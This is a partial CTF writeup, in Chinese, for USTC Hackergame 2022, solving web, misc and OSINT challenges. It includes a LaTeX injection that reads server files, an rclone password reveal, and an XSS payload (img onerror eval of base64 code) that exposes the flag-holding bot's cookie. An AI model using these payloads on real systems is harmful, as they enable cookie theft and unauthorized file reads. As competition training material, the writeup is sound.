这是USTC Hackergame 2022
的部分题解,部分题目的解题思路参考了官方Writeups。
Hackergame 官网:https://hack.lug.ustc.edu.cn/
官方Writeups:https://github.com/USTC-Hackergame/hackergame2022-writeups
[WEB]签到
可以看到,提交时自动加上了?result=xxxx
,故只需构造?result=2022
即可获得flag
flag{HappyHacking2022-3b26626714}
[MISC]家目录里的秘密
第一问
使用VS Code
打开后全局搜索flag
即可
flag{finding_everything_through_vscode_config_file_932rjdakd}
第二问
使用rclone
自带指令反混淆
rclone reveal tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
flag{get_rclone_password_from_config!_2oi3dz1}
[MISC]HeiLang
警告:改题目违反了何不扩散条约!
简单的字符串处理,把何代码用"""
括起来,定义为code
main
代码前加入
cmds = code.split('\n')
for cmd in cmds:
nums = cmd.split("] = ")[0]
nums = nums.replace("a[", "")
nums = nums.split(" | ")
ans = int(cmd.split("] = ")[-1])
for i in nums:
a[int(i)] = ans
运行即可
flag{6d9ad6e9a6268d96-19264f7d66cbb1ab}
[WEB]Xcaptcha
由于Cookie有效期很短,需要编写python脚本提交
import requests
if __name__ == '__main__':
url = "http://202.38.93.111:10047/"
session = requests.session()
session.get(
url + "?token=YOUR_TOKEN")
ret = session.get(url + "xcaptcha")
data1 = ret.text.split(r'<label for="captcha1">')[-1].split(" 的结果是?")[0]
data2 = ret.text.split(r'<label for="captcha2">')[-1].split(" 的结果是?")[0]
data3 = ret.text.split(r'<label for="captcha3">')[-1].split(" 的结果是?")[0]
ret1 = int(data1.split("+")[0]) + int(data1.split("+")[1])
ret2 = int(data2.split("+")[0]) + int(data2.split("+")[1])
ret3 = int(data3.split("+")[0]) + int(data3.split("+")[1])
ret = session.post(url + "xcaptcha", data={
'captcha1': ret1,
'captcha2': ret2,
'captcha3': ret3,
})
print(ret.text)
flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_d310809ffe}
[MISC]旅行照片2.0
第一问
查询exif
信息即可,答案略
flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}
第二问
1.谷歌识图,找到新闻中类似建筑物:https://mainichi.jp/articles/20220713/k00/00m/040/051000c,
地点千葉市美浜区 ZOZOマリンスタジアム
附近酒店
- 〒261-0021 千葉県千葉市美浜区ひび野2丁目3
- 〒261-0021 千葉県千葉市美浜区ひび野2丁目120-3
- 〒261-0021 千葉県千葉市美浜区ひび野2丁目10-2
故邮编为261-0021
2.以“xiaomi sm6115”
为内容搜索,可查询到,手机型号为骁龙662
简单搜索,根据图片倒影比对,Redmi Note 9
是满足的结果
分辨率2340x1080
3/4/5.在此查询,对应UTC时间即可
https://globe.adsbexchange.com/
可能的航班:
- ANA683
- JAL322
- ANA538
- JAL518
全部查询一遍,发现匹配的是
- ANA683
Google一下ANA683 2022-05-14
ANA683 / NH683
left GATE 66
Tokyo Int'l (Haneda) - HND
landed at
Hiroshima - HIJ
flag{Buzz_0ver_y0ur_h34d_and_4DSB_m19ht_111egal}
[MISC]Latex机器人
第一问
\input{/flag1}
flag{becAr3fu11dUd346b7a7cc0b}
第二问
官方题解使用的是\detokenize
函数,方法略有复杂,还有一种解法,使用\catcode
函数,根据Wiki描述
\catcode
is the command that’s used to change the category code of a character. The category code tells TeX what to do when it encounters that character later in the text.
来源:https://en.wikibooks.org/wiki/TeX/catcode
因此该函数可以将字母原有的意思覆盖,查表可知,类型11
或12
是可以定义的类别
The category codes in TeX are as follows:
0 = Escape character, normally
1 = Begin grouping, normally {
2 = End grouping, normally }
3 = Math shift, normally $
4 = Alignment tab, normally &
5 = End of line, normally<return>
6 = Parameter, normally #
7 = Superscript, normally ^
8 = Subscript, normally _
9 = Ignored character, normally<null>
10 = Space, normally<space>
and<tab>
11 = Letter, normally only contains the letters a,…,z and A,…,Z. These characters can be used in command names
12 = Other, normally everything else not listed in the other categories
13 = Active character, for example ~
14 = Comment character, normally %
15 = Invalid character, normally<delete>
构造payload
{ \catcode`\_=12 \catcode`\#=12 \input{/flag2} }
flag{latex_bec_0_m##es_co__#ol_0478a6b3b7}
[WEB]Flag 的痕迹
使用了DokuWiki
,从官方网站找线索,可发现两个切入点:
- 选择两个不同版本后,可以进行代码比对,例如:https://www.dokuwiki.org/dokuwiki?do=diff&rev2[0]=1640028507&rev2[1]=1642842159&difftype=sidebyside
- 不同版本对应一个版本号,版本号通常为修改时的时间戳,例如:https://www.dokuwiki.org/dokuwiki?rev=1640028507
第二种方式需要暴力破解,数据量大,不太可行。
故使用第一种方式:访问链接http://202.38.93.111:15004/doku.php?do=diff,后退一次编辑,即可找到flag
flag{d1gandFInD_d0kuw1k1_unexpectEd_API}
[WEB]微积分计算小练习
首先访问第一个网页http://202.38.93.111:10056/,回答完题目后会跳转到结果页面,例如http://202.38.93.111:10056/share?result=MDoxMTE%3D,query
参数result
经过base64
解码后,是一个格式为[分数]:[姓名]
的字符串。
接着分析bot的代码,可知bot会将flag放入cookie,故这是一道标准的XSS注入题
我们可以将分数字段替换为脚本:
document.getElementById('score').innerHTML=document.cookie;
该脚本的xss注入代码可以是:
<img src='non-exist.jpg' onerror="eval(atob('ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Njb3JlJykuaW5uZXJIVE1MPWRvY3VtZW50LmNvb2tpZQ=='))">
值得注意的是,不能使用<script></script>
,因为分数是在前端解析的,出于安全原因,浏览器不允许通过innerHTML的脚本自动执行(https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML#%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98)。
最终构造的payload为:
share = PGltZyBzcmM9J25vbi1leGlzdC5qcGcnIG9uZXJyb3I9ImV2YWwoYXRvYignWkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9KM05qYjNKbEp5a3VhVzV1WlhKSVZFMU1QV1J2WTNWdFpXNTBMbU52YjJ0cFpRPT0nKSkiPjox
访问提交练习成绩 URL
,传入链接即可获得flag
flag{xS5_1OI_is_N0t_SOHARD_985f9f9cdd}
[WEB]光与影
解法1
看源代码,可知,这块是遮住flag的代码
float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
float tmin = min(min(min(min(t1, t2), t3), t4), t5);
将tmin
修改为min(min(min(t1, t2), t3), t4);
即可
解法2
根据代码,我们可以看到大量的点坐标,如果把他们整理一下,显示出来,会不会就是flag呢?
值得注意的是,显示的图像是上下颠倒的,但不影响阅读。
import re
from PIL import Image, ImageDraw
data = """把每段sdf放在此处"""
pattern = r'vec3\((.+?)\,(.+?)\,(.+?)\)'
if __name__ == '__main__':
dd = re.findall(pattern, data)
dots = []
for d in dd:
dots.append([int(d[0]), int(d[1]), int(d[2])])
print(dots)
im = Image.new('RGB', (300, 300), 0)
# 创建可绘制的对象
draw = ImageDraw.Draw(im)
for d in dots:
draw.point((d[0], d[1]), (255,0,0))
im.show()
第一段:
flag{
第二段:
SDF-
第三段:
i3-
第四段:
FuN!}
组合即可
flag{SDF-i3-FuN!}